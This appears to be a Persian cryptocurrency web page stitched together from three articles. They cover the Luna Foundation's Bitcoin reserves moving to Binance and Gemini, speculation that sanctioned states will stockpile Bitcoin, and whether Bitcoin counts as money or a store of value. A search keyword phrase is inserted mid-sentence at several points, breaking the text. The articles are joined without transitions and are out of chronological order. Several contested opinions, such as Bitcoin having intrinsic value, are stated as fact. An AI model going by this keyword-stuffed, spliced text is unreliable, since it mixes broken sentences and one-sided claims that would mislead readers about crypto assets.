ذخایر بیت کوین کجا قرار دارند؟

ارز دیجیتال

ارسال ذخایر بیت کوین Terra به بایننس و جمینی

پس از فروپاشی استیبل کوین تراUST، برخی از کمرنگ بودن بنیاد لونا انتقاد کرده اند؛ ذخایر بیت کوین بنیاد لونا برای حمایت از استیبل کوینUST جمع آوری شده بود و قرار بوده این سرمایه برای حمایت از برابری 1 دلاری UST استفاده شود. روز جمعه، 14 می شرکت تحلیل داده های بلاک چین، Elliptic، در وبلاگ رسمی خود از انتقال ذخایر بیت کوین بنیاد لونا خبر داده است.

بر اساس نرم افزار تحلیل بلاک چین Elliptic، ذخایر بیت کوین بنیاد لونابه 2 صرافی ارز دیجیتال سپرده شده است. بنیاد لونا در میان آشفتگی اخیر بازار ارزهای دیجیتال و سقوط استیبل کوین Terra ، ذخایر بیت ‌کوینLFG خودش را به منبع امنی سپرده است.
قبل از شروع بحران UST وLuna ذخایر بیت کوین بنیاد لونا بیش از 3 میلیارد دلار ارزش داشت. اما کیف پول ذخیره بنیاد لونا خالی است و بیت کوین برای رفع بحران استفاده نشده است.

حمایت از استیبل کوین UST به سبک بنیاد لونا

در 13 می، بنیانگذار اکوسیستم ترا، دوو کوون به مردم گفت که تیم در حال استفاده از ذخایر بیت کوین بنیاد لونا برای برگرداندن لونا به سطح قبلی است. اما بنیاد لونا در 9 می تقریبا تمام ذخایر بیت کوین خود را در چند مرحله منتقل کرده است، براساس داده های نرم افزار تحلیل بلاک چینElliptic، همزمان با اعلام وام 750 میلیون دلاری توسط بنیاد لونا LFG، این شرکت دو تراکنش به ارزش 52.189 بیت کوین را که به آدرس جدیدی مرتبط با انبار LFG ارسال کرده است.

علاوه بر 52189 بیت کوین، بنیاد لونا کیف پول دیگری با 28.205 بیت کوین در اختیار داشته و کل ذخیره بیت کوین بنیاد لونا به حدود 80394 بیت کوین اضافه شد. طبق داده هایElliptic، در میان هرج و مرج بازار، تمام ذخایر بیت کوین به بایننس و جمینی ارسال شده است.
همچنین براساس گزارشElliptic، بیشتر دارایی های ذخایر بیت کوین کجا قرار دارند؟ بیت کوین این شرکت قابل ردیابی نیست و سندی مبنی بر حمایت ذخایر بیت کوین از UST ارائه نشده است.

تنها 28205 بیت کوین در ذخایر Terra باقی مانده که در بامداد 10 می، این به طور کامل، در یک تراکنش، به حسابی در صرافی ارزهای دیجیتال بایننس منتقل شد. باز هم نمی توان تشخیص داد که آیا این دارایی ها فروخته شده اند یا متعاقباً به کیف پول های دیگر منتقل شده اند.

همچنین براساس گزارشBitcoin.com، با بررسی نمودار onchainتأیید کرده که داده های Elliptic دقیق می باشد. نمونه دیگر در کیف پول آنلاین بایننس بوده که براساس داده های آنچین 9.5 میلیون بیت کوین از این کیف پول عبور کرده است.

کیف پول بیت کوین بنیاد لونا نیز با این آدرس ذخایر بیت کوین کجا قرار دارند؟ تعامل داشته است که دارای حاشیه oxt.me ست که با آدرس صرافی جمینی مرتبط می باشد. این آدرس در 13 ژوئن 2017 ایجاد شده و در مجموع 1,284,918 بیت کوین از این آدرس عبور کرده است. هم اکنون کیف پول آنلاین بایننس هنوز حاوی بیت کوین برای خدمات کیف پول است و آدرس صرافی جمینی در 14 می 2022 موجودی صفر دارد.

کدام کشورها زودتر از همه بیت کوین ذخیره خواهند کرد؟

بعید است که مانند ۵۰ سال پیش، ذخایر طلا همچنان به عنوان پشتوانه‌ای برای ارز ملی کاربرد داشته باشند. به نظر می‌رسد حکومت‌ها ذخایر طلا را صرفا با هدف خودنمایی و به رخ کشیدن دستاوردهایشان در دوره‌ای که در مسند قدرت هستند نگهداری می‌کنند. اما دلایلی فراتر از این موضوع هم وجود ذخایر بیت کوین کجا قرار دارند؟ دارد که جیسون دین (Jason Deane) در مطلب اخیرش که در مدیوم منتشر کرده است، به آنها پرداخته است.

ذخایر طلا در اصل پشتوانه دارایی‌های کشور محسوب می‌شود که در صورت بروز بحران‌های اقتصادی مانند کاهش ارزش ناگهانی یا از بین رفتن اعتبار پول ملی، می‌توان آن را مبادله و به پول نقد تبدیل کرد.

یکی از بهترین نمونه‌ها در این زمینه ونزوئلا است که فروپاشی اخیر اقتصادی آن به بی‌اعتبار شدن پول ملی‌اش انجامید. در پی این فاجعه اقتصادی، دولت این کشور مجبور شده است تا مقادیر زیادی از ذخایر فیزیکی کشورش را در بازارهای بین‌المللی به فروش برساند. اما ونزوئلا اولین کشوری نیست که این کار را انجام داده و قطعا آخرینشان هم نخواهد بود.

طلا یکی از بهترین گزینه‌ها برای این کار است، زیرا یکی از ارزشمندترین کالاهای روی زمین به شمار می‌رود و سابقه درخشانی به عنوان ذخیره ارزش و ابزار مبادله جهانی دارد. خلاصه کلام اینکه وقتی در شرایط اضطراری می‌خواهید طلایتان را بفروشید، همیشه افرادی وجود دارند که با کمال میل حاضرند آن را از شما به چنگ آورند و بابت آن به قیمت بازار (یا نزدیک به آن) پول بپردازند.

بسیاری از کشورها حتی از ذخایر طلا برای خرید و فروش استفاده می‌کنند. آنها طلا را زمانی که قیمت آن پایین است خریداری می‌کنند و هنگامی که قیمت آن افزایش یافت می‌فروشند. البته در بسیاری از موارد، خود طلا به لحاظ فیزیکی تغییر مکان نمی‌دهد؛ یعنی این‌طور نیست که یک هواپیما پر از شمش طلا از کشوری به کشور دیگر فرستاده شود. دلیلش این است که انتقال آن هم به لحاظ وزن و هم از نظر امنیت کار عاقلانه‌ای به نظر نمی‌رسد و و هزینه بسیار بالایی برمی‌دارد. گاهی اوقات حتی طلا را قرض می‌گیرند و سود آن را هم به صورت طلا برمی‌گردانند.

به طور کلی کار با طلا بسیار جالب است. معمولا هم تغییر آن‌چنانی در ارزش آن رخ نمی‌دهد، مگر اینکه اتفاق خاصی بیفتد؛ به عنوان مثال به شکلی غیرمنتظره انباری عظیم از طلا کشف شود. در این صورت ارزش آن به سرعت کاهش خواهد یافت. به جز این، معمولا ارزش طلا در درازمدت روند صعودی دارد.

سایر ذخایری که کشورها نگه می‌دارند

طلا، اصلی‌ترین ذخیره کشورها در خزانه‌هاست

این‌طور نیست که کشورها برای آسودگی خاطرشان فقط به این فلز زرد رنگِ درخشان متکی باشند. همان‌طور که کارگزار شما برای سرمایه‌گذاری به شما توصیه می‌کند که در سبد سهام‌تان را تنوع‌سازی انجام دهید و انواع دارایی‌های مختلف را در آن جای دهید تا اگر یکی دو مورد از آنها با شکست مواجه شدند بیچاره نشوید، کشورها هم همین کار را انجام می‌دهند.

در حقیقت، بسیاری از کشورها به جز طلا، فلزات و کالاهای گرانبها ذخایر دیگری را هم نگه می‌دارند که یکی از رایج‌ترین آنها ارزهای کشورهای دیگر است. بخشی از این ارزها به شکل فیزیکی در همان انبارهای امن و حفاظت‌شده نگهداری می‌شوند، اما بیشتر آن به صورت دیجیتالی در بانک‌های مرکزی سراسر جهان با عنوان ذخایر ارزهای خارجی نگهداری می‌شود.

هدف از نگهداری همه این ذخایر پوشش دادن ریسک و امکان عکس‌العمل مناسب در بدترین سناریوهای احتمالی است. با این کار کشورها می‌توانند نه تنها در شرایط اقتصادی وخیم بلکه در صورت بروز جنگ و یا بلایای طبیعی تا جایی که ممکن است معاملات عادی خودشان را ادامه دهند و از ملت پشتیبانی کنند.

به طور کلی، ذخایر هر کشوری برای پوشش کالاهای وارداتی از سه تا شش ماه و برای پوشش بدهی‌های کشور و کسری حساب آن تا ۱۲ ماه کافی است.

بیت کوین وارد می‌شود

با توجه به آنچه در بخش قبل گفتیم، به نظر می‌رسد که بیت کوین می‌تواند گزینه ساده و ایده‌آلی برای اضافه شدن به این ذخایر باشد. هر چه باشد، بیت کوین ذخیره ارزش و ابزار مبادله‌ای بی‌نظیر است (یا می‌تواند باشد)، ذخیره آن با اقدامات احتیاطی مناسب نسبتا آسان است و به شکل بالقوه این قابلیت را دارد که همه حکومت‌ها، سازمان‌ها یا افراد در سراسر جهان آن را بپذیرند. از این گذشته، به هر مقداری که بخواهیم قابل تقسیم است و در هر زمان و هر جایی می‌توانیم به آن دسترسی داشته باشیم.

همچنین از آنجا که بیت کوین روی ایمن‌ترین شبکه کامپیوتری غیرمتمرکز جهان اجرا می‌شود، هیچ شانسی برای ورود بیت کوین جعلی به سیستم وجود ندارد و نیازی به «خلوص‌سنجی» که برای اثبات خلوص طلا به کار می‌رود و بسیار هزینه‌بر است نخواهیم داشت.

تراکنش‌ها را می‌توان به شکل مستقیم در محیطی بدون نیاز به اعتماد انجام داد که برای کشورهایی که روابط پیچیده‌ای با همسایگان خود دارند کاملا مناسب است. از آنجا که هیچ کشوری نمی‌تواند هرگز کنترل کامل شبکه بیت کوین را به دست آورد، در سیستم انتقال مالکیت هرگز شک و شبهه‌ای وجود نخواهد داشت.

در آخر، اگرچه در حال حاضر سرعت شبکه بیت کوین برای تراکنش‌های خرد مخصوصا در خرده‌فروشی‌ها بسیار پایین است، در مقایسه با تراکنش‌های پیچیده بین‌المللی طلا که به تعداد زیادی شخص ثالث و نیز خلوص‌سنجی پرهزینه‌ای نیاز دارد واقعا سریع‌تر است.

این بدان معناست که انجام تراکنش‌های تقریبا آنی بین کشورها بسیار آسان‌تر خواهد شد، طوری که تا کنون در تاریخ بشریت دیده نشده است.

به عنوان مثال تصور کنید که انتقال وجه مستقیم بین روسای دو کشور به شکل آنی انجام شود، به سرعت تأیید شود و هیچ شخص ثالثی در آن درگیر نباشد. تا کنون چنین چیزی امکان‌پذیر نبوده است.

اما اگر همه این موارد درست است، چرا هنوز دولت‌ها نخواسته‌اند تا جایی که می‌توانند بیت کوین ذخیره کنند؟

مشکلاتی که بیت کوین دارد

فهرست دلایلی که درباره این امر وجود دارد در سطح حاکمیتی بسیار گسترده است. تا جایی که به حکومت‌ها مربوط می‌شود، رفع این مشکلات غیرممکن است. البته که این طور نیست، اما تا زمانی که آنها این واقعیت را تشخیص دهند، زمان زیادی لازم است و این امر روند پیشرفت را کُند می‌کند.

واقعیت این است که تأیید یا به رسمیت شناختن بیت کوین از جانب حکومت‌ها با توجه به طول عمر آن هنوز زود است. در سطح حکومتی هنوز درک کافی از بیت کوین وجود ندارد و بسیاری از کشورها واقعا نمی‌دانند باید با آن چه‌کار کنند یا اینکه حتی چطور آن را تنظیم کنند و چه مقرراتی روی آن بگذارند. از این گذشته، دولت‌ها از کنار گذاشتن سیستم‌های مالی قدرتمند و مستحکمی که با آن کار می‌کنند وحشت دارند، زیرا بیت کوین نیامده که این سیستم‌ها را کامل کند، می‌خواهد کاملا جایگزین آنها شود.

از سوی دیگر مزایایی که در بخش قبلی ذکر کردیم، فقط در مقیاس نسبتا کوچک اثبات شده است و برخی از آنها حتی تا به امروز به شکل نظری باقی مانده‌اند. پذیرش، کاربرد و توسعه این شبکه ممکن است خیلی سریع اتفاق بیفتد، اما هنوز به آن دست نیافته‌ایم.

البته بزرگترین کشورهای جهان در ابتدا فکر نمی‌کردند بیت کوین تا این اندازه پیشرفت کند. بسیاری از این کشورها فکر می‌کنند می‌توانند بهتر از آن را ایجاد کنند. شاید اگر تمرکز کافی روی این کار بگذارند و منابع خودشان را به آن اختصاص دهند از نظر فنی امکان‌پذیر باشد، اما تردیدی نیست که پذیرش آن با مشکل مواجه خواهد شد. چرا؟ چون حکومت پشت آن است!

شاید متحدان و موافقان حکومت مشکلی با آن نداشته باشند، اما مخالفان هرگز آن را نخواهند پذیرفت. یک سیستم متمرکز که توسط یک دشمن قدرتمند اداره می‌شود و این دشمن می‌تواند در یک چشم به هم زدن دارایی‌شان را مسدود کند؟ هرگز. مخالفان همیشه یک جایگزین غیرمتمرکز را ترجیح خواهند داد تا هیچ‌کس قدرتی بر اموالشان نداشته باشد. این همان چیزی است که بیت کوین به ما می‌دهد.

از آنجا که در دنیای پیچیده ما هر کسی می‌تواند دوست یا دشمن محسوب شود، یک راه‌حل غیرمتمرکز که نیازی به اعتماد ندارد می‌تواند به معنای واقعی برنده باشد.

واقعیت غیرقابل‌انکار این است که فعلا بعید است حکومت‌ها تا چند دهه آینده بخواهند ذخیره‌ای از بیت کوین را برای خود ایجاد کنند یا حداقل پی ببرند که باید خیلی زودتر به فکر ایجاد این ذخایر می‌افتادند.

اما آیا همه کشورها این‌طور فکر می‌کنند؟ در ادامه خواهیم دید.

اولین کشورهایی که بیت کوین را ذخیره خواهند کرد

همان‌طور که می‌دانیم، طلا به عنوان یک ذخیره ارزش تا کنون بسیار خوب عمل کرده است، اما مشکلی که وجود دارد این است که کنترل آن بسیار ساده است.

فروش ذخایر طلای ونزوئلا با توجه به تحریم‌های ایالات متحده غیرقانونی بود و ترکیه و امارات متحده عربی که آن طلاها را خریدند به خوبی این موضوع را می‌دانستند. اما از آنجا که ۱٫۲ میلیارد دلار طلای ونزوئلا در خزانه بانک مرکزی انگلستان نگهداری می‌شد، تلاش‌های رئیس جمهور نیکلاس مادورو برای برداشت آن ناموفق ماند و انگلستان این حساب را مسدود کرد.

درباره درستی و نادرستی این عمل و تحریم‌های اعمال شده بحث‌های زیادی وجود دارد که پرداختن به آنها در این مطلب ضروریتی ندارد. نکته مهم این است که نگهداری ذخایر بیت کوین در فضای ذخیره‌سازی سرد در کشوری که تحت تحریم است می‌تواند اجرای تحریم‌ها را غیرممکن کند. اگر ونزوئلا این گزینه را داشت، ذخایر بیت کوین کجا قرار دارند؟ نه تنها آن را اجرا می‌کرد بلکه برای یافتن خریدار در بازار آزاد با مشکلی مواجه نمی‌شد.

تقریبا می‌توان مطمئن بود که به همین دلیل ونزوئلا تلاش کرده ارز دیجیتال خودش یعنی پترو را ایجاد کند و پذیرش و استفاده از آن را به همه افراد کشورش تحمیل کرده است (هر چند موفق نبود). با این حال، می‌توان این رویداد را اولین گام برای مبارزه طلبی یا حتی فراتر از آن برای سرکشی قلمداد کرد.

بنابراین می‌توان گفت اولین کشورهایی که ذخایر بزرگی از بیت کوین را ایجاد خواهند کرد، همان کشورهایی هستند که ترجیح می‌دادیم نباشند.

هر کشوری که تحت تحریم‌های بین‌المللی قرار دارد، باید بیت کوین را به عنوان یک منبع یا حتی ذخیره احتمالی درآمد یا پول شناسایی کند (و مطمئنا به آن فکر کرده‌اند)، چرا که معامله آن در سطح بین‌المللی بدون هیچ مشکلی انجام می‌شود و مجازاتی هم در پی ندارد. هر جا که دسترسی به اینترنت وجود دارد، بیت کوین می‌تواند رد و بدل شود و اصلا مهم نیست که بانک‌ها، حکومت‌ها و یا کشورها درباره آن چه فکر می‌کنند.

برای مثال، ایالات‌متحده در حال حاضر به شکل رسمی کوبا، ایران، سودان، سوریه، کره شمالی، نیکاراگوئه و ونزوئلا را به عنوان «دولت‌های سرکش» معرفی کرده است. اما کشورهای زیادی هستند که همین شرایط را دارند، حتی اگر در چارچوب تعریف آمریکا از دولت‌های سرکش نگنجند.

ممکن است این کشورها همین حالا هم دریافته باشند که می‌توانند با جمع‌آوری بیت کوین خواه از طریق عملیات استخراج مخفیانه تحت حمایت دولت یا با خرید کل بیت کوین‌ها از طریق آژانس‌ها و افرادی که دولت آمریکا کاری با آنها ندارد و سپس با فروش آنها به کشورهای دیگر، از ذخایر ارزش نگهداری شده در آن کشورها بهره‌مند شوند.

به عنوان نمونه همین دو روز پیش بود که کوین دسک گزارش داد کره شمالی در این مسیر پا گذاشته است. افزایش ترافیک آی‌پی با مبدأ کره شمالی در استخراج مونرو (XMR) به خوبی گواه این مطلب است. مونرو دو مزیت به این دولت که تحت تحریم‌های بسیار شدید قرار دارد ارائه می‌کند.

مزیت اول اینکه برخلاف بیت کوین که برای استخراج آن به سخت‌افزار خاصی مانند ای‌سیک (مدارهای مجتمع با کاربرد خاص) نیاز است و مطمئنا باید از خارج از کشور وارد شود، برای استخراج مونرو هیچ سخت‌افزار خاصی لازم نیست.

دوم اینکه مونرو ارزی کاملا ناشناس و محرمانه است که به راحتی امکان انجام تراکنش‌های مخفی و پنهانی را فراهم می‌کند.

همچنین پس از استخراج، با فرایندی بسیار ساده می‌توان آن را به بیت کوین تبدیل کرد و این کار را با هر کیف پولی می‌توان انجام داد.

حالا که کره شمالی دارد این کار را انجام می‌دهد، واکنش سایر کشورهای جهان چگونه خواهد بود؟

ار آنجا که هیچ کشوری نمی‌تواند بیت کوین را متوقف یا کنترل کند و کنترل یا متوقف کردن کره شمالی هم به همان نسبت سخت است، سایر کشورها فقط دو کار می‌توانند انجام دهند:

هیچ کاری انجام ندهند و امیدوار باشند بیت کوین و سایر ارزهای دیجیتال از بین بروند یا حداقل با چیزی جایگزین شوند که با تحریم‌ها سازگار باشد.

تلاش کنند بیت کوین بیشتری نسبت به کشورهایی مانند کره شمالی داشته باشند.

اگر دومی را انتخاب کنیم، در نهایت اگر بیت کوین با موفقیت ادامه دهد، ذخایر ایمن و ارزشمندی در اختیار خواهیم داشت. اگر هم نابود شود، هزینه این شکست فقط کسری از تخصیص بودجه مبادلات خارجی خواهد بود. در هر صورت بهترین حالت این است که آن کشورها اصلا بیت کوین نداشته باشند.

البته ذخیره بیت کوین با استخراج یا خرید، در هر صورت به پشتوانه تلاش‌های این کشورها به افزایش ارزش آن خواهد انجامید. از آنجا که در این صورت قیمت آن بالاتر خواهد رفت، بنابراین حتی این راه‌حل هم بدون مشکل نخواهد بود.

حالا چه باید کرد؟

ما واقعا نمی‌دانیم که کدام کشورها در خفا چه کاری با بیت کوین انجام می‌دهند، اما این را می‌دانیم که حکومت‌ها به ندرت درباره چیزی که علنا می‌گویند صادق هستند. حداقل چیزی که احتمالش زیاد است این است که سازمان‌های پژوهشی وجود خواهند داشت که امکانات و پاسخ‌ها را بررسی کنند.

این هم ممکن است که برخی از دولت‌ها در حال بررسی ایجاد ذخایر بیت کوین باشند و شاید حتی آژانس‌های حکومتی مقادیر کمی از آن را برای آزمایش کردن این سیستم به صورت غیررسمی و «فقط برای خالی نبودن عریضه» ذخیره کرده باشند. به هر حال خرید چند صد بیت کوین خارج از چارچوب رسمی به جایی برنمی‌خورد و هزینه آن فقط کسری جزئی از بودجه دولت را مصرف می‌کند.

به عبارت ساده‌تر، ایجاد ذخایر بیت کوین آسان است، ریسک زیادی ندارد، بودجه کمی می‌خواهد و به راحتی قابل دسترسی است.

هر چند مدت کوتاهی از عمر بیت کوین می‌گذرد، مطمئنا روزی خواهد رسید (از حالا شاید تا چند سال) که دولت‌ها و حتی سازمان‌های جهانی پول مانند صندوق بین‌المللی پول (IMF) برای تأمین ذخایر بیت کوین با یکدیگر رقابت کنند. آنها به طور پیوسته این کار را با در پیش گرفتن نوعی سیاست پولی مقتصدانه انجام خواهند داد و از ترس عقب ماندن فعالانه در این رقابت شرکت خواهند کرد. در هر صورت تماشای آن جذاب خواهد بود.

بیت کوین چیست؟ پول، ارز یا ذخیره ارزش!

بر اساس گزارش های منتشر شده، با نزدیک شدن به رویداد هاوینگ بیت کوین، تقاضا برای این دارایی دیجیتال نیز افزایش می یابد، همانطور که در ماه گذشته نیز شاهد رشد حدود ۱۵ درصدی این ارز دیجیتال بودیم. پیش بینی می شود که هاوینگ بیت کوین در ماه مه ۲۰۲۰ اتفاق بیفتد و نرخ عرضه بیت کوین از ۱۲٫۵ به ۶٫۲۵ بیت کوین در هر بلاک یا هر ۱۰ دقیقه کاهش یابد. با گذشت زمان، کمبود و بالا بودن نرخ بیت کوین این ارز دیجیتال را برای سرمایه گذاران به طور فزاینده ای جذاب می کند.

از آنجا که بیت کوین همچنان به سمت جریان اصلی و رو به جلو در حال حرکت است، این مسئله مهم است که دریابید، دید جهانیان نسبت به این ارز دیجیتال چگونه است. با توجه به این نکته، در اینجا سؤالات بسیار مهمی وجود دارد که باید پرسیده شود که از جمله آنها عبارتند: بیت کوین چیست؟ آیا یک ارز است؟ یک نوع پول است؟ یک ذخیره ارزش است؟ همه موارد فوق است یا هیچ یک از آنها نمی باشد؟ شاید این ارز دیجیتال یک چیز کاملاً جدید باشد؟

برخی به دلیل کمبود، عدم مقاومت و ویژگی های یک پناهگاه امن از بیت کوین به عنوان یک ذخیره ارزش دفاع می کنند. کوین بیس در یک پست وبلاگ اخیر خود به این خصوصیات و سایر موارد دیگری اشاره کرد تا این واقعیت را مطرح کند که بیت کوین با طلا به عنوان ذخیره ارزش در عصر دیجیتال رقیب می کند.

در حالی که تجزیه و تحلیل یکی از موارد معتبری است که وجود دارد، بعضی عنوان می کنند که هدف واقعی بیت کوین این است که باید به عنوان روش پرداخت غیرمتمرکز یا به تعبیر ساتوشی، “یک سیستم پول نقد الکترونیکی همتا” باشد.

خصوصیات غیر متمرکز بیت کوین نرخ عرضه قابل پیش بینی را ارائه می دهد، در حالی که از نظر تئوری از مداخله دولت هم در سیاست های پولی و هم در پردازش معاملات خود جلوگیزی می کند و امکان انتقال ارزان، سریع و بدون سانسور را در سراسر جهان فراهم می کند.

در حالی که ذات بیت کوین این است همتا به همتا باشد، از مداخله انسان مصون است (البته با حمله ۵۱ درصدی) اما محدودیت هایی را نیز به همراه دارد که از جمله آنها می توان به موقعیت بیت کوین به عنوان ذخیره ارزش اشاره کرد که از این نظر مانند طلاست و یک ارز مجازی است که کمتر برای امور روزانه مورد استفاده قرار می گیرد.

چه چیزی باعث می شود که چیزی مانند طلا به یک ذخیره ارزش تبدیل شود و چه چیزی دلار آمریکا را به یک ارز تبدیل کند؟ به عبارت ساده، ذخیره ارزش، یک دارایی است که می تواند ارزش خود را بدون اینکه کاهش یابد، در طول زمان حفظ کند که از جمله آن عبارت است از فلزات گرانبها مانند طلا یا نقره و دارایی های سودآورمانند اوراق قرضه. در مقابل ، ارز هیچ ارزش ذاتی ندارد. این یک واحد اندازه گیری و یک وسیله پرکاربرد است که هیچ ارزش ذاتی برای خود ندارد. ارز نوعی پول است و ارزش آن همیشه به پول وابسته است.

بر خلاف ارز، پول دارای ارزش ذاتی است و با تقاضا نمی تواند ایجاد شود. ارز را می توان به عنوان رسید پول یا کالاها مشاهده کرد. هنگامی که استاندارد طلا اجرایی شد، مردم می توانستند اسکناس های بانکی خود را برای خرید طلا خرج کنند. هنگامی که استاندارد طلا از معادله خارج شد، دلار ایالات متحده با چاپ های جدید ، ارزش خود را به طور مداوم از دست داد و ارزش کل دلارهای موجود در گردش نیز با کاهش روبرو شد. این بدان معنی است که دلار آمریکا دارای ارزش نسبی است نه ارزش ذاتی. اما با ایجاد میزان بیشتری از چیزهایی مانند طلا یا بیت کوین (از طریق استخراج) ارزش واحدهای باقیمانده کاهش نمی یابد، زیرا آنها دارای ارزش ذاتی هستند.

در حالی که در گذشته پشتوانه برخی ارزها، فلزات گرانبها یا سایر ارزهای ملی قوی تر بودند، اما بیشتر ارزها، پشوانه ای از یک دارایی زیرساختی ندارند و ارزش آنها فقط با پذیرش گسترده از سوی مردم و ثبات دولت و اقتصاد به دست می آید.

بیت کوین علی رغم اینکه به عنوان یک ارز دیجیتال طبقه بندی می شود، نمی تواند یک ارز باشد زیرا دارای ارزش ذاتی است. در حالی که برخی علیه آن سخن گفته و استدلال می کنند که منابع صرف شده برای عرضه واحدهای جدید تضمین کننده آن است و برخلاف ارز فیات، بیت کوین نمی تواند از خارج از قاعده ایجاد شود. به عبارت دیگر، استخراج بیت کوین هزینه دارد و جالب اینکه، این هزینه فقط برای ایجاد واحدهای جدید استفاده نمی شود، بلکه عملکرد و قابلیت اطمینان بیت کوین را نیز به عنوان یک دفتر کل غیر متمرکز و سیستم پرداخت بین المللی تضمین می کند.

ذخیره ارزش بودن، یکی از ویژگی های اجباری پول است و اگرچه این دو مفهوم قابل تعویض نیستند، اما یک فلز گرانبها مانند طلا را می توان پول در نظر گرفت، زیرا از بسیاری از ملزومات اصلی مانند قابل تقسیم بودن، پایدار بودن و قابل حمل تبعیت می کند که از این نظر بسیار شبیه بیت کوین است. با این حال، طلا فاقد یکی از مهمترین ویژگیهایی است که بتوان آن را به عنوان پول طبقه بندی کرد و آن ویژگی این است که به طور کلی، طلا برای پرداخت هزینه کالاها و خدمات پذیرفته نمی شود. اما در مورد بیت کوین چطور؟

بیت کوین به عنوان پول

در حالی که بیت کوین ثابت کرده است که می تواند به عنوان یک ذخیره ارزش باشد اما آیا می توان گفت که این ارز دیجیتال، واقعاً پول است؟ شش ویژگی مهم در تعریف پول وجود دارد که عبارتند از: پایداری، قابلیت حمل، تقسیم پذیری، یکنواختی، عرضه محدود و اینکه به عنوان یک روش پرداخت مورد پذیرش است.

در حالی که بیت کوین از پنج قانون اول پیروی می کند، اما به طور کلی، به عنوان یک روش پرداخت پذیرفته نیست. بله ، پرداخت کالا و خدمات با بیت کوین هم بصورت آنلاین و هم به صورت آفلاین امکان پذیر است، اما تنها توسط عده کمی از معامله گران پذیرفته می شود. اگرچه برخی از بازیگران بزرگ مانند مایکروسافت و Overstock قبلاً بیت کوین را به عنوان یک روش پرداخت برخی از خدمات خود می پذیرند و حتی برخی از دولت ها برای آن مالیات در نظر گرفته اند، اما وقتی با یک پول ملی مانند دلار آمریکا مقایسه می شود ، باسطح پذیرش کمی روبرو می باشد. بنابراین، بیت کوین نیز مانند طلا، عملا پول نیست. اما سؤال اینجاست که آیا بیت کوین می تواند تبدیل به پول شود؟

ارز دیجیتال

آیا بیت کوین می تواند پول شود؟ مشکلات و محدودیت ها موجود در این رابطه کدامند؟

در حالی که بیت کوین از لحاظ تئوری می تواند در صورت استفاده گسترده به پول تبدیل شود، محدودیت های تکنیکال مختلفی در این زمینه وجود دارد که این امر را به عنوان پول به شکل فعلی خود غیر عملی می کند. کوین تلگراف در این باره با آنتونی ترنچف (Antoni Trenchev)، مدیر ارشد برنامه بانکداری ارزهای دیجیتال نکسو (Nexo)، صحبت کرد تا عیار بیت کوین را به عنوان یک ذخیره ارزش بسنجد و پتانسیل آن را به عنوان پول دریابد. ترنچف ذات پیچیده بیت کوین را به عنوان یکی از اصلی ترین محدودیت های آن ذکر کرد. وی در این باره عنوان کرد:

استفاده از بیت کوین هنوز هم کمی جسورانه و سخت است. به طور طبیعی نمی توان از این ارز دیجیتال مانند کارت اعتباری برای پرداخت ها استفاده کرد. بسیاری از شرکت ها، از جمله نکسو در حال فعالیت در این زمینه هستند، اما با این وجود، این محصول همچنان بسیار پیچیده است.

در حالی که استفاده از بیت کوین برای جمعیتی خاص می تواند نسبتاً ساده به نظر برسد، اما همچنان استفاده از آن دشوار بوده و همچنین استفاده از آن در برخی شرایط ممکن است گران تمام شود. یک معامله استاندارد بیت کوین می تواند از۰٫۰۲ دلار تا ۰٫۱۰ دلار هزینه در بر داشته باشد که هنگام انتقال پول به خارج از کشور بسیار ارزان است، اما هنگام استفاده برای نقل و انتقالات و پرداخت های خرد می تواند مبلغ زیادی باشد.

علاوه بر این، میزان کارمزدها بسته به میزان تراکنش های انجام شده درون شبکه متفاوت است. تراکنش ها در بلاک ها گروه بندی می شوند و وقتی بلاک پر شود، تراکنش های باقی مانده باید منتظر بلاک بعدی باشند. این ویژگی می تواند باعث بروز مشکلات جدی و ایجاد تراکم شود و آنچه را که به عنوان “کارمزد بازار” شناخته می شود، ایجاد کند.

تراکم شبکه در زمان وقوع بازار گاوی بیت کوین در سال ۲۰۱۷ در اوج خود قرار داشت. با این که کارمزدها به ۵۰ دلار می رسید و تائید برخی از تراکنش ها ساعت ها یا حتی روزها طول می کشید، این ارز دیجیتال در آن زمان برای نقل و انتقالات و پرداخت های عادی به سختی غیرقابل استفاده بود.

از آن زمان تا کنون، توسعه هایی مانند سگویت باعث افزایش ظرفیت بیت کوین شده است. داده های Blockchain.com نشان می دهد که میزان تراکنش ها در هر ثانیه در اوج خود قرار دارد و تاکنون هیچ نشانی از ازدحام وجود ندارد. با این وجود این موضوع برای بیت کوین چندان قابل توجه نیست چرا که از سیستم های پرداختی مانند ویزا که از لحاظ تئوری می توانند ۲۴٫۰۰۰ تراکنش در ثانیه را انجام دهند بسیار ناچیز است.

بیت کوین در مقابل طلا: یک ذخیره ارزش جدید برای عصر دیجیتال

در حالی که راه حل هایی مانند شبکه لایتنینگ به دنبال رفع مشکلات فوق در بیت کوین هستند، یک شبکه لایه دوم را فراهم می کند که در آن می توان تراکنش های خرد را با کارمزد کمتری بدون ایجاد تراکم در شبکه اصلی بیت کوین انجام داد، اما آنها از سطح تولید فاصله دارند.

با وجود این، آنتونی که پیش از این پیش بینی کرده بود بیت کوین تا سال ۲۰۲۰ به ۵۰،۰۰۰ دلار برسد، عنوان کرد که حتی اگر بیت کوین نتواند به عنوان یک پول مورد پذیرش انبوه واقع نشود، بازهم دارای روندی صعودی است. وی به کوین تلگراف گفت:

یک روایت وجود دارد که می گوید، بیت کوین قرار بود یک سیستم پرداخت انقلابی و همتا به همتا باشد. من فکر می کنم که این مسئله به هیچ وجه تحقق نیافته است. بیت کوین ویژگی های یک ارز را دارد اما بیشتر از آن به عنوان ذخیره ارزش و انتقال ارزش به ویژه در مقادیر زیاد استفاده می شود.

از طرف دیگر Vytautas Karalevičius ، مدیرعامل بانک مبتنی بر ارز دیجیتال Bankera معتقد است که وضعیت بیت کوین نیز مانند پول های پذیرفته شده در جوامع تبدیل خواهد شد و رسیدن به چنین وضعیتی زمانبر است. وی در این باره عنوان کرد:

بیت کوین نمی تواند شکست بخورد، سؤال اینجاست که چقدر طول خواهد کشید تا فناوری (سخت افزاری مانند هارد دیسک، پهنای باند) بهبود یابد و به عنوان یک روش پرداخت پذیرفته پذیر عمل کند.

حتی اگر این راه حلهای فنی دقیقاً مطابق برنامه ریزی عمل نکنند، آینده برای بیت کوین به عنوان یک ذخیره ارزش قابل اعتماد همچنان روشن به نظر می رسد که کمبود و الگوی اباشت به جریان، آن را به یک سرمایه گذاری بسیار جذاب در برابر شرایط بی ثبات سیاسی و اقتصادی فعلی تبدیل می کند. آنتونی گفت: “واقعیت کلان ژئوپلیتیکی به گونه ای است که نمی توانم سناریویی را تصور کنم که در کوتاه مدت یا بلند مدت برای بیت کوین خوب نباشد.”

